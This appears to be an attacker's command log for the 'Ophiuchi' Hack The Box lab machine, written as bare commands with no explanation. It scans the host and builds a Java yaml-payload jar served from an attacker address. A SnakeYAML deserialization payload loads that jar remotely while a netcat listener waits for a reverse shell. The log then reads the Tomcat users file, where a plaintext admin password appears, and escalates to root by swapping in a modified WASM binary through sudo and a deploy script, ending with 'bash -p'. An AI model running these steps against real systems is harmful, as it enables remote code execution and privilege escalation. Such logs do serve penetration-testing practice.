nmap -A -p- -oA ophiuchi 10.129.152.152 --min-rate=10000 --script=vuln --script-timeout=15 -v
nmap -sC -sV -O -p- -oA ophiuchi 10.129.152.152
nmap -sU -O -p- -oA ophiuchi-udp 10.129.152.152
nikto -h 10.129.152.152:80
whatweb http://10.129.152.152
http://10.129.152.152:8080
git clone https://github.com/artsploit/yaml-payload
tree -fs
nmap -p8080 10.129.152.152 --script http-enum -oN webScan
http://10.129.152.152:8080/manager
cat src/artsploit/AwesomeScriptEngineFactory.java
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
python3 -m http.server 80
nc -lvnp 443
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://10.10.14.20/yaml-payload.jar"] ]] ]
cat /opt/tomcat/conf/tomcat-users.xml
Credenciales-> admin:whythereisalimit
su admin
sudo -l
cd /tmp
ls -l /opt/wasm-functions
cat /opt/wasm-functions/index.go
cp /opt/wasm-functions/main.wasm .
touch deploy.sh
ls -l /bin/bash
vim deploy.sh
sudo /usr/bin/go run /opt/wasm-functions/index.go
git clone --recursive https://github.com/WebAssembly/wabt
cd wabt
git submodule update --init
mkdir build
cmake ..
cmake --build .
python3 -m http.server 8082
wget http://10.129.152.152:8082/main.wasm
./wasm2wat ../../main.wasm
./wasm2wat ../../main.wasm > main.wat
cat main.wat
rm main.wasm
./wat2wasm main.wat > main.wasm
python3 -m http.server 80
cd tmp
wget http://10.10.14.26/main.wasm
chmod +x main.wasm
ls -l /bin/bash
cat deploy.sh
ls -l /bin/bash
bash -p